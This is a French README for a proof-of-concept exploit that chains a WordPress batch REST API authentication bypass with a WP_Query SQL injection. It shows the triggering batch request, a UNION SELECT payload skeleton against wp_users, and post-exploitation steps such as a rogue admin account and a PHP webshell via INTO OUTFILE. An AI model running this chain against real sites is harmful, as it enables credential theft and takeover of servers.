PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell.
PoC RCE pré-authentification - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Pour les tests d'intrusion et la recherche en sécurité autorisés uniquement. L'exécution de ceci contre des systèmes sans autorisation écrite est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.
wp2shell est un exploit de preuve de concept qui enchaîne deux vulnérabilités signalées indépendamment pour obtenir une exécution de code à distance non authentifiée sur des installations WordPress non corrigées.
| CVE | Composant | Classe | Authentification requise |
|---|---|---|---|
| CVE-2026-63030 | API REST Batch (WP_REST_Server) | Désynchronisation de tableau → contournement d'authentification | Aucune |
| CVE-2026-60137 | WP_Query | Injection SQL via author__not_in | Aucune (contournée par ce qui précède) |
Le résultat final : un shell sur la machine, un compte administrateur malveillant, ou un hash d'identifiants extrait — le tout à partir d'une seule requête POST non authentifiée.
Versions affectées : WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigé dans : WordPress 6.9.5 / 7.0.2 (correctif publié en même temps que la divulgation coordonnée)
WordPress 5.6 a introduit le point de terminaison de traitement par lots à /wp-json/batch/v1. Il permet aux clients REST authentifiés de regrouper plusieurs sous-requêtes en un seul aller-retour HTTP. Chaque sous-requête est validée et distribuée indépendamment par WP_REST_Server::serve_batch_request_v1().
À l'intérieur de serve_batch_request_v1() (simplifié) :
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Les deux tableaux ($responses et $matches) sont censés rester synchronisés — une entrée par sous-requête, au même index. Lorsque la sous-requête [0] échoue à wp_parse_url(), elle ajoute une entrée à $responses mais pas à $matches. Après la première boucle :
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
La boucle 2 distribue alors $matches[0] et écrit le résultat dans $responses[0]. Elle distribue request[1] mais écrase l'index 0 dans les réponses — et surtout, elle utilise le contexte de permission qui a été calculé dans le cadre de la gestion d'erreur de la requête[0] échouée, et non le contexte de permission du point de terminaison cible.
L'effet pratique : tout point de terminaison qui nécessite une authentification (y compris les points de terminaison qui effectuent des requêtes SQL) peut être appelé sans identifiants.
"path": "://\x00" # triggers wp_parse_url() → false
La chaîne ://\x00 est une chaîne Python valide mais une URL invalide dans le wrapper wp_parse_url() de PHP (l'octet nul fait échouer l'analyse, renvoyant false plutôt qu'un WP_Error, ce qui rend la garde is_wp_error() inutile — seul $parsed === false l'attrape, et l'alignement du tableau est déjà cassé à ce stade).
author__not_in de WP_QueryL'API REST de WordPress pour les articles (/wp/v2/posts) expose un paramètre de requête author_exclude qui correspond directement à l'argument author__not_in de WP_Query. WP_Query est l'abstraction de base de données centrale utilisée pour presque toutes les requêtes de contenu dans WordPress.
Dans WP_Query::parse_query() (simplifié) :
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Plus loin dans WP_Query::get_posts() :
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
L'assainissement ne se déclenche que lorsque $author__not_in est un tableau. Le système de types de PHP détermine cela en fonction de la façon dont la valeur est arrivée :
[1, 2, 3] → is_array() = true → assaini"1,2,3" (une chaîne) → is_array() = false → non assainiLe point de terminaison REST accepte author_exclude depuis la chaîne de requête URL. Il arrive sous forme de chaîne. WP_Query saute le bloc d'assainissement, et la valeur brute est interpolée dans la clause SQL WHERE.
Le point d'injection se situe dans un contexte NOT IN (...) :
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Comme le point de terminaison batch distribue la sous-requête dans le cadre d'un résultat de requête plus large, les lignes UNION sont renvoyées dans le corps de la réponse JSON REST, ce qui en fait une extraction Boolean/UNION sans aveuglement — pas de timing, pas de canal hors bande nécessaire.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper